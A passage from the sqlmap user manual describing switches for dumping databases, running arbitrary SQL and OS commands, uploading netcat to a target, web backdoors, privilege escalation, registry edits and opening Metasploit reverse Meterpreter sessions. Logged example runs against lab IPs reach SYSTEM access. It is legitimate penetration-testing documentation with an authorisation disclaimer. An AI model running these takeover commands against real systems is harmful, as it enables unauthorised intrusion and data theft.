| nameisnull |
+----+--------+------------+
This switch can also be used to dump all tables' entries of a provided database. You simply have to provide
sqlmap with the --dump switch along with only the -D switch, no -T and no -C.
You can also provide a comma-separated list of the specic columns to dump with the -C switch.
sqlmap also generates for each table dumped the entries in a CSV format textual le. You can see the
absolute path where sqlmap creates the le by providing a verbosity level greater than or equal to 1.
If you want to dump only a range of entries, then you can provide switches --start and/or --stop to
respectively start to dump from a certain entry and stop the dump at a certain entry. For instance, if you
want to dump only the rst entry, provide --stop 1 in your command line. Vice versa if, for instance, you
want to dump only the second and third entry, provide --start 1 --stop 3.
It is also possible to specify which single character or range of characters to dump with switches --first
and --last. For instance, if you want to dump columns' entries from the third to the fth character, provide
--first 3 --last 5. This feature only applies to the blind SQL injection techniques because for error-based
and UNION query SQL injection techniques the number of requests is exactly the same, regardless of the
length of the column's entry output to dump.
As you may have noticed by now, sqlmap is exible: you can leave it to automatically dump the whole
database table or you can be very precise in which characters to dump, from which columns and which range
of entries.
5. Usage
33
5.9.13 Dump all databases tables entries
Switches: --dump-all and --exclude-sysdbs
It is possible to dump all databases tables entries at once that the session user has read access on.
You can also provide the --exclude-sysdbs switch to exclude all system databases. In that case sqlmap
will only dump entries of users' databases tables.
Note that on Microsoft SQL Server the master database is not considered a system database because some
database administrators use it as a users' database.
5.9.14 Search for columns, tables or databases
Switches: --search, -C, -T, -D
This switch allows you to search for specic database names, specic tables across all databases
or specic columns across all databases' tables.
This is useful, for instance, to identify tables containing custom application credentials where relevant
columns' names contain string like name and pass .
The switch --search needs to be used in conjunction with one of the following support switches:
• -C following a list of comma-separated column names to look for across the whole database management
system.
• -T following a list of comma-separated table names to look for across the whole database management
system.
• -D following a list of comma-separated database names to look for across the database management
system.
5.9.15 Run custom SQL statement
Switches: --sql-query and --sql-shell
The SQL query and the SQL shell features allow to run arbitrary SQL statements on the database management system. sqlmap automatically dissects the provided statement, determines which technique is
appropriate to use to inject it and how to pack the SQL payload accordingly.
If the query is a SELECT statement, sqlmap will retrieve its output. Otherwise it will execute the query
through the stacked query SQL injection technique if the web application supports multiple statements on
the back-end database management system. Beware that some web application technologies do not support
stacked queries on specic database management systems. For instance, PHP does not support stacked
queries when the back-end DBMS is MySQL, but it does support when the back-end DBMS is PostgreSQL.
Examples against a Microsoft SQL Server 2000 target:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo'" -v 1
[...]
[hh:mm:14] [INFO] fetching SQL SELECT query output: 'SELECT 'foo''
[hh:mm:14] [INFO] retrieved: foo
SELECT 'foo':
'foo'
5. Usage
34
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query \
"SELECT 'foo', 'bar'" -v 2
[...]
[hh:mm:50] [INFO] fetching SQL SELECT query output: 'SELECT 'foo', 'bar''
[hh:mm:50] [INFO] the SQL query provided has more than a field. sqlmap will now unpack it into
distinct queries to be able to retrieve the output even if we are going blind
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(102)+CHAR(111)+CHAR(111)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: foo
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
[hh:mm:50] [DEBUG] query: SELECT ISNULL(CAST((CHAR(98)+CHAR(97)+CHAR(114)) AS VARCHAR(8000)),
(CHAR(32)))
[hh:mm:50] [INFO] retrieved: bar
[hh:mm:50] [DEBUG] performed 27 queries in 0 seconds
SELECT 'foo', 'bar':
'foo, bar'
As you can see, sqlmap splits the provided query into two dierent SELECT statements then retrieves the
output for each separate query.
If the provided query is a SELECT statement and contains a FROM clause, sqlmap will ask you if such statement
can return multiple entries. In that case the tool knows how to unpack the query correctly to count the
number of possible entries and retrieve its output, entry per entry.
The SQL shell option allows you to run your own SQL statement interactively, like a SQL console connected
to the database management system. This feature provides TAB completion and history support too.
5.10 Brute force
These options can be used to run brute force checks.
5.10.1 Brute force tables names
Switches: --common-tables
There are cases where --tables switch can not be used to retrieve the databases' table names. These cases
usually t into one of the following categories:
• The database management system is MySQL < 5.0 where information_schema is not available.
• The database management system is Microsoft Access and system table MSysObjects is not readable
- default setting.
• The session user does not have read privileges against the system table storing the scheme of the
databases.
If any of the rst two cases apply and you provided the --tables switch, sqlmap will prompt you with a
question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly
still identify some existing tables if you provide it with the --common-tables switch. sqlmap will perform a
brute-force attack in order to detect the existence of common tables across the DBMS.
The list of common table names is txt/common-tables.txt and you can edit it as you wish.
Example against a MySQL 4.1 target:
5. Usage
35
$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" \
--common-tables -D testdb --banner
[...]
[hh:mm:39] [INFO] testing MySQL
[hh:mm:39] [INFO] confirming MySQL
[hh:mm:40] [INFO] the back-end DBMS is MySQL
[hh:mm:40] [INFO] fetching banner
web server operating system: Windows
web application technology: PHP 5.3.1, Apache 2.2.14
back-end DBMS operating system: Windows
back-end DBMS: MySQL < 5.0.0
banner:
'4.1.21-community-nt'
[hh:mm:40] [INFO] checking table existence using items from '/software/sqlmap/txt/common-tables.txt'
[hh:mm:40] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 8
[hh:mm:43] [INFO] retrieved: users
Database: testdb
[1 table]
+-------+
| users |
+-------+
5.10.2 Brute force columns names
Switches: --common-columns
As per tables, there are cases where --columns switch can not be used to retrieve the databases' tables'
column names. These cases usually t into one of the following categories:
• The database management system is MySQL < 5.0 where information_schema is not available.
• The database management system is Microsoft Access where this kind of information is not available
inside system tables.
• The session user does not have read privileges against the system table storing the scheme of the
databases.
If any of the rst two cases apply and you provided the --columns switch, sqlmap will prompt you with a
question to fall back to this technique. Either of these cases apply to your situation, sqlmap can possibly
still identify some existing tables if you provide it with the --common-columns switch. sqlmap will perform
a brute-force attack in order to detect the existence of common columns across the DBMS.
The list of common table names is txt/common-columns.txt and you can edit it as you wish.
5.11 User-dened function injection
These options can be used to create custom user-dened functions.
5.11.1 Inject custom user-dened functions (UDF)
Switches: --udf-inject and --shared-lib
5. Usage
36
You can inject your own user-dened functions (UDFs) by compiling a MySQL or PostgreSQL shared library,
DLL for Windows and shared object for Linux/Unix, then provide sqlmap with the path where the shared
library is stored locally on your machine. sqlmap will then ask you some questions, upload the shared
library on the database server le system, create the user-dened function(s) from it and, depending on your
options, execute them. When you are nished using the injected UDFs, sqlmap can also remove them from
the database for you.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control .
Use switch --udf-inject and follow the instructions.
If you want, you can specify the shared library local le system path via command line too by using
--shared-lib option. Vice versa sqlmap will ask you for the path at runtime.
This feature is available only when the database management system is MySQL or PostgreSQL.
5.12 File system access
5.12.1 Read a le from the database server's le system
Switch: --file-read
It is possible to retrieve the content of les from the underlying le system when the back-end database
management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the
needed privileges to abuse database specic functionalities and architectural weaknesses. The le specied
can be either a textual or a binary le. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control .
Example against a Microsoft SQL Server 2005 target to retrieve a binary le:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" \
--file-read "C:/example.exe" -v 1
[...]
[hh:mm:49] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows 2000
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft SQL Server 2005
[hh:mm:50] [INFO] fetching file: 'C:/example.exe'
[hh:mm:50] [INFO] the SQL query provided returns 3 entries
C:/example.exe file saved to:
'/software/sqlmap/output/192.168.136.129/files/C__example.exe'
[...]
$ ls -l output/192.168.136.129/files/C__example.exe
-rw-r--r-- 1 inquis inquis 2560 2011-MM-DD hh:mm output/192.168.136.129/files/C__example.exe
$ file output/192.168.136.129/files/C__example.exe
output/192.168.136.129/files/C__example.exe: PE32 executable for MS Windows (GUI) Intel
80386 32-bit
5.12.2 Upload a le to the database server's le system
Switches: --file-write and --file-dest
5. Usage
37
It is possible to upload a local le to the database server's le system when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed
privileges to abuse database specic functionalities and architectural weaknesses. The le specied can be
either a textual or a binary le. sqlmap will handle it properly.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control .
Example against a MySQL target to upload a binary UPX-compressed le:
$ file /software/nc.exe.packed
/software/nc.exe.packed: PE32 executable for MS Windows (console) Intel 80386 32-bit
$ ls -l /software/nc.exe.packed
-rwxr-xr-x 1 inquis inquis 31744 2009-MM-DD hh:mm /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write \
"/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1
[...]
[hh:mm:29] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003 or 2008
web application technology: ASP.NET, Microsoft IIS 6.0, ASP.NET 2.0.50727
back-end DBMS: MySQL >= 5.0.0
[...]
do you want confirmation that the file 'C:/WINDOWS/Temp/nc.exe' has been successfully
written on the back-end DBMS file system? [Y/n] y
[hh:mm:52] [INFO] retrieved: 31744
[hh:mm:52] [INFO] the file has been successfully written and its size is 31744 bytes,
same size as the local file '/software/nc.exe.packed'
5.13 Operating system takeover
5.13.1 Run arbitrary operating system command
Switches: --os-cmd and --os-shell
It is possible to run arbitrary commands on the database server's underlying operating system
when the back-end database management system is either MySQL, PostgreSQL or Microsoft SQL Server,
and the session user has the needed privileges to abuse database specic functionalities and architectural
weaknesses.
On MySQL and PostgreSQL, sqlmap uploads (via the le upload functionality explained above) a shared
library (binary le) containing two user-dened functions, sys_exec() and sys_eval(), then it creates these
two functions on the database and calls one of them to execute the specied command, depending on user's
choice to display the standard output or not. On Microsoft SQL Server, sqlmap abuses the xp_cmdshell
stored procedure: if it is disabled (by default on Microsoft SQL Server >= 2005), sqlmap re-enables it; if it
does not exist, sqlmap creates it from scratch.
When the user requests the standard output, sqlmap uses one of the enumeration SQL injection techniques
(blind, inband or error-based) to retrieve it. Vice versa, if the standard output is not required, stacked query
SQL injection technique is used to execute the command.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control .
Example against a PostgreSQL target:
5. Usage
38
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" \
--os-cmd id -v 1
[...]
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: PostgreSQL
[hh:mm:12] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:12] [INFO] the back-end DBMS operating system is Linux
[hh:mm:12] [INFO] testing if current user is DBA
[hh:mm:12] [INFO] detecting back-end DBMS version from its banner
[hh:mm:12] [INFO] checking if UDF 'sys_eval' already exist
[hh:mm:12] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:12] [INFO] creating UDF 'sys_eval' from the binary UDF file
[hh:mm:12] [INFO] creating UDF 'sys_exec' from the binary UDF file
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
'uid=104(postgres) gid=106(postgres) groups=106(postgres)'
[hh:mm:19] [INFO] cleaning up the database management system
do you want to remove UDF 'sys_eval'? [Y/n] y
do you want to remove UDF 'sys_exec'? [Y/n] y
[hh:mm:23] [INFO] database management system cleanup finished
[hh:mm:23] [WARNING] remember that UDF shared object files saved on the file system can
only be deleted manually
It is also possible to simulate a real shell where you can type as many arbitrary commands as you wish. The
option is --os-shell and has the same TAB completion and history functionalities that --sql-shell has.
Where stacked queries has not been identied on the web application (e.g. PHP or ASP with back-end
database management system being MySQL) and the DBMS is MySQL, it is still possible to abuse the
SELECT clause's INTO OUTFILE to create a web backdoor in a writable folder within the web server document
root and still get command execution assuming the back-end DBMS and the web server are hosted on the
same server. sqlmap supports this technique and allows the user to provide a comma-separated list of possible
document root sub-folders where try to upload the web le stager and the subsequent web backdoor. Also,
sqlmap has its own tested web le stagers and backdoors for the following languages:
• ASP
• ASP.NET
• JSP
• PHP
5.13.2 Out-of-band stateful connection: Meterpreter & friends
Switches: --os-pwn, --os-smbrelay, --os-bof, --priv-esc, --msf-path and --tmp-path
It is possible to establish an out-of-band stateful TCP connection between the attacker machine
and the database server underlying operating system when the back-end database management system is
either MySQL, PostgreSQL or Microsoft SQL Server, and the session user has the needed privileges to abuse
database specic functionalities and architectural weaknesses. This channel can be an interactive command
prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
sqlmap relies on Metasploit to create the shellcode and implements four dierent techniques to execute it on
the database server. These techniques are:
5. Usage
39
• Database in-memory execution of the Metasploit's shellcode via sqlmap own user-dened function sys_bineval(). Supported on MySQL and PostgreSQL - switch --os-pwn.
• Upload and execution of a Metasploit's stand-alone payload stager via sqlmap own user-dened
function sys_exec() on MySQL and PostgreSQL or via xp_cmdshell() on Microsoft SQL Server switch --os-pwn.
• Execution of Metasploit's shellcode by performing a SMB reection attack (MS08-068 ) with a
UNC path request from the database server to the attacker's machine where the Metasploit smb_relay
server exploit listens. Supported when running sqlmap with high privileges (uid=0) on Linux/Unix
and the target DBMS runs as Administrator on Windows - switch --os-smbrelay.
• Database in-memory execution of the Metasploit's shellcode by exploiting Microsoft SQL Server
2000 and 2005 sp_replwritetovarbin stored procedure heap-based buer overow (MS09-
004 ). sqlmap has its own exploit to trigger the vulnerability with automatic DEP memory protection
bypass, but it relies on Metasploit to generate the shellcode to get executed upon successful exploitation
- switch --os-bof.
These techniques are detailed in the white paper Advanced SQL injection to operating system full control
and in the slide deck Expanding the control over the operating system from the database .
Example against a MySQL target:
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn \
--msf-path /software/metasploit
[...]
[hh:mm:31] [INFO] the back-end DBMS is MySQL
web server operating system: Windows 2003
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: MySQL 5.0
[hh:mm:31] [INFO] fingerprinting the back-end DBMS operating system
[hh:mm:31] [INFO] the back-end DBMS operating system is Windows
how do you want to establish the tunnel?
[1] TCP: Metasploit Framework (default)
[2] ICMP: icmpsh - ICMP tunneling
>
[hh:mm:32] [INFO] testing if current user is DBA
[hh:mm:32] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
>
[hh:mm:33] [INFO] checking if UDF 'sys_bineval' already exist
[hh:mm:33] [INFO] checking if UDF 'sys_exec' already exist
[hh:mm:33] [INFO] detecting back-end DBMS version from its banner
[hh:mm:33] [INFO] retrieving MySQL base directory absolute path
[hh:mm:34] [INFO] creating UDF 'sys_bineval' from the binary UDF file
[hh:mm:34] [INFO] creating UDF 'sys_exec' from the binary UDF file
how do you want to execute the Metasploit shellcode on the back-end database underlying
operating system?
[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)
[2] Stand-alone payload stager (file system way)
>
[hh:mm:35] [INFO] creating Metasploit Framework 3 multi-stage shellcode
40
5. Usage
which connection type do you want to use?
[1] Reverse TCP: Connect back from the database host to this machine (default)
[2] Reverse TCP: Try to connect back from the database host to this machine, on all ports
between the specified and 65535
[3] Bind TCP: Listen on the database host for a connection
>
which is the local address? [192.168.136.1]
which local port number do you want to use? [60641]
which payload do you want to use?
[1] Meterpreter (default)
[2] Shell
[3] VNC
>
[hh:mm:40] [INFO] creation in progress ... done
[hh:mm:43] [INFO] running Metasploit Framework 3 command line interface locally, please wait..
_
| |
o
_ _ _
_ _|_ __,
,
_ | | __
_|_
/ |/ |/ | |/ | / | / \_|/ \_|/ / \_| |
| | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/
/|
\|
=[
+ -- --=[
+ -- --=[
=[
metasploit v3.7.0-dev [core:3.7 api:1.0]
674 exploits - 351 auxiliary
217 payloads - 27 encoders - 8 nops
svn r12272 updated 4 days ago (2011.04.07)
PAYLOAD => windows/meterpreter/reverse_tcp
EXITFUNC => thread
LPORT => 60641
LHOST => 192.168.136.1
[*] Started reverse handler on 192.168.136.1:60641
[*] Starting the payload handler...
[hh:mm:48] [INFO] running Metasploit Framework 3 shellcode remotely via UDF 'sys_bineval',
please wait..
[*] Sending stage (749056 bytes) to 192.168.136.129
[*] Meterpreter session 1 opened (192.168.136.1:60641 -> 192.168.136.129:1689) at Mon Apr 11
hh:mm:52 +0100 2011
meterpreter >
meterpreter >
meterpreter >
meterpreter >
meterpreter >
OS
Computer
Architecture
Meterpreter
meterpreter >
meterpreter >
Loading extension espia...success.
Loading extension incognito...success.
[-] The 'priv' extension has already been loaded.
Loading extension sniffer...success.
System Language : en_US
: Windows .NET Server (Build 3790, Service Pack 2).
: W2K3R2
: x86
: x86/win32
Server username: NT AUTHORITY\SYSTEM
ipconfig
MS TCP Loopback interface
5. Usage
41
Hardware MAC: 00:00:00:00:00:00
IP Address : 127.0.0.1
Netmask
: 255.0.0.0
Intel(R) PRO/1000 MT Network Connection
Hardware MAC: 00:0c:29:fc:79:39
IP Address : 192.168.136.129
Netmask
: 255.255.255.0
meterpreter > exit
[*] Meterpreter session 1 closed. Reason: User exit
By default MySQL on Windows runs as SYSTEM, however PostgreSQL runs as a low-privileged user postgres
on both Windows and Linux. Microsoft SQL Server 2000 by default runs as SYSTEM, whereas Microsoft SQL
Server 2005 and 2008 run most of the times as NETWORK SERVICE and sometimes as LOCAL SERVICE.
It is possible to provide sqlmap with the --priv-esc switch to perform a database process' user privilege
escalation via Metasploit's getsystem command which include, among others, the kitrap0d technique
(MS10-015 ).
5.14 Windows registry access
It is possible to access Windows registry when the back-end database management system is either MySQL,
PostgreSQL or Microsoft SQL Server, and when the web application supports stacked queries. Also, session
user has to have the needed privileges to access it.
5.14.1 Read a Windows registry key value
Switch: --reg-read
Using this option you can read registry key values.
5.14.2 Write a Windows registry key value
Switch: --reg-add
Using this option you can write registry key values.
5.14.3 Delete a Windows registry key
Switch: --reg-del
Using this option you can delete registry keys.
5.14.4 Auxiliary registry switches
Switches: --reg-key, --reg-value, --reg-data and --reg-type
5. Usage
42
These switches can be used to provide data needed for proper running of options --reg-read, --reg-add
and --reg-del. So, instead of providing registry key information when asked, you can use them at command
prompt as program arguments.
With --reg-key option you specify used Windows registry key path, with --reg-value value item name
inside provided key, with --reg-data value data, while with --reg-type option you specify type of the
value item.
A sample command line for adding a registry key hive follows:
$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add \
--reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1
5.15 General
5.15.1 Log HTTP(s) trac to a textual le
Switch: -t
This switch requires an argument that specied the textual le to write all HTTP(s) trac generated by
sqlmap - HTTP(s) requests and HTTP(s) responses.
This is useful primarily for debug purposes.
5.15.2 Session le: save and resume data retrieved
Switch: -s
By default sqlmap logs all queries and their output into a textual le called session le , regardless of the
technique used to extract the data. This is useful if you stop the injection for any reason and rerun it
afterwards: sqlmap will parse the session le and resume enumerated data from it, then carry on extracting
data from the exact point where it left before you stopped the tool.
The default session le is output/TARGET_URL/session, but you can specify a dierent le path with -s
switch.
The session le has the following structure:
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
A more user friendly textual le where all data retrieved is saved, is the log le , output/TARGET_URL/log.
This le can be useful to see all information enumerated to the end.
5.15.3 Flush session le
Switch: --flush-session
As you are already familiar with the concept of a session le from the description above, it is good to know
that you can ush the content of that le using option --flush-session. This way you can avoid the caching
mechanisms implemented by default in sqlmap. Other possible way is to manually remove the session le(s).
43
5. Usage
5.15.4 Ignores query results stored in session le
Switch: --fresh-queries
As you are already familiar with the concept of a session le from the description above, it is good to know
that you can ignore the content of that le using option --fresh-queries. This way you can keep the
session le untouched and for a selected run, avoid the resuming/restoring of queries output.
5.15.5 Estimated time of arrival
Switch: --eta
It is possible to calculate and show in real time the estimated time of arrival to retrieve each query output.
This is shown when the technique used to retrieve the output is any of the blind SQL injection types.
Example against an Oracle target aected only by boolean-based blind SQL injection:
$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta
[...]
[hh:mm:01] [INFO]
[hh:mm:01] [INFO]
[hh:mm:01] [INFO]
[hh:mm:01] [INFO]
17% [========>
the back-end DBMS is Oracle
fetching banner
retrieving the length of query output
retrieved: 64
] 11/64
ETA 00:19
Then:
100% [===================================================] 64/64
[hh:mm:53] [INFO] retrieved: Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod
web application technology: PHP 5.2.6, Apache 2.2.9
back-end DBMS: Oracle
banner:
'Oracle Database 10g Enterprise Edition Release 10.2.0.1.0 - Prod'
As you can see, sqlmap rst calculates the length of the query output, then estimates the time of arrival,
shows the progress in percentage and counts the number of retrieved output characters.
5.15.6 Update sqlmap
Switch: --update
Using this option you can update the tool to the latest development version directly from the subversion
repository. You obviously need Internet access.
If, for any reason, this operation fails, run svn update from your sqlmap working copy. It will perform
the exact same operation of switch --update. If you are running sqlmap on Windows, you can use the
TartoiseSVN client by right-clicking in Windows Explorer into your sqlmap working copy and clicking on
Update.
This is strongly recommended before reporting any bug to the mailing lists .
5. Usage
44
5.15.7 Save options in a conguration INI le
Switch: --save
It is possible to save the command line options to a conguration INI le. The generated le can then be
edited and passed to sqlmap with the -c option as explained above.
5.15.8 Act in non-interactive mode
Switch: --batch
If you want sqlmap to run as a batch tool, without any user's interaction when sqlmap requires it, you can
force that by using --batch switch. This will leave sqlmap to go with a default behaviour whenever user's
input would be required.
5.16 Miscellaneous
5.16.1 Alert when a SQL injection is detected
Switch: --beep
When this switch is provided, sqlmap will beep at every new SQL injection that it nds. It can be useful
when you are processing in batch mode a Google dork output or a proxy log le so that you do not need to
monitor the terminal constantly.
5.16.2 IDS detection testing of injection payloads
Switch: --check-payload
Curious to see if a decent intrusion detection system (IDS) picks up sqlmap payloads? Use this switch!
5.16.3 Cleanup the DBMS from sqlmap specic UDF(s) and table(s)
Switch: --cleanup
It is recommended to clean up the back-end database management system from sqlmap temporary table(s)
and created user-dened function(s) when you are done taking over the underlying operating system or le
system. Switch --cleanup will attempt to clean up the DBMS and the le system wherever possible.
5.16.4 Parse and test forms' input elds
Switch: --forms
Say that you want to test against SQL injections a huge search form or you want to test a login bypass
(typically only two input elds named like username and password ), you can either pass to sqlmap the
request in a request le (-r), set the POSTed data accordingly (--data) or let sqlmap do it for you!
Both of the above mentioned instances, and many others, appear as <form> and <input> tags in HTML
response bodies and this is where this switch comes into play.
Provide sqlmap with --forms as well as the page where the form can be found as the target url (-u) and
sqlmap will request the target url for you, parse the forms it has and guide you through to test for SQL
injection on those form input elds (parameters) rather than the target url provided.
6. License and copyright
45
5.16.5 Use Google dork results from specied page number
Switch: --gpage
Default sqlmap behavior with option -g is to do a Google search and use the rst 100 resulting URLs for
further SQL injection testing. However, in combination with this option you can specify with this switch,
--gpage, some page other than the rst one to retrieve target URLs from.
5.16.6 Display page rank (PR) for Google dork results
Switch: --page-rank
Performs further requests to Google when -g is provided and display page rank (PR) for Google dork results.
5.16.7 Parse DBMS error messages from response pages
Switch: --parse-errors
If the web application is congured in debug mode so that it displays in the HTTP responses the back-end
database management system error messages, sqlmap can parse and display them for you.
This is useful for debugging purposes like understanding why a certain enumeration or takeover switch does
not work - it might be a matter of session user's privileges and in this case you would see a DBMS error
message along the lines of Access denied for user <SESSION USER>.
5.16.8 Replicate dumped data into a sqlite3 database
Switch: --replicate
If you want to store in a local SQLite 3 database le each dumped table (--dump or --dump-all), you can
provide sqlmap with the --replicate switch at dump phase. This will create a <TABLE_NAME>.sqlite3
rather than a <DB_NAME>/<TABLE_NAME>.csv le into output/TARGET_URL/dump/ directory.
You can then use sqlmap itself to read and query the locally created SQLite 3 le. For instance, python
sqlmap.py -d sqlite:///software/sqlmap/output/192.168.136.131/dump/testdb.sqlite3 table.
5.16.9 Simple wizard interface for beginner users
Switch: --wizard
Do you really want to know?
6
License and copyright
sqlmap is released under the terms of the General Public License v2 . sqlmap is copyrighted by its developers
.
7
Disclaimer
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even
the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
8. Authors
46
Whatever you do with this tool is uniquely your responsibility. If you are not authorized to punch holes in the
network you are attacking be aware that such action might get you in trouble with a lot of law enforcement
agencies.
8
Authors
Bernardo Damele A. G. (inquis) - Lead developer. PGP Key ID: 0x05F5A30F
Miroslav Stampar (stamparm) - Developer. PGP Key ID: 0xB5397B1B
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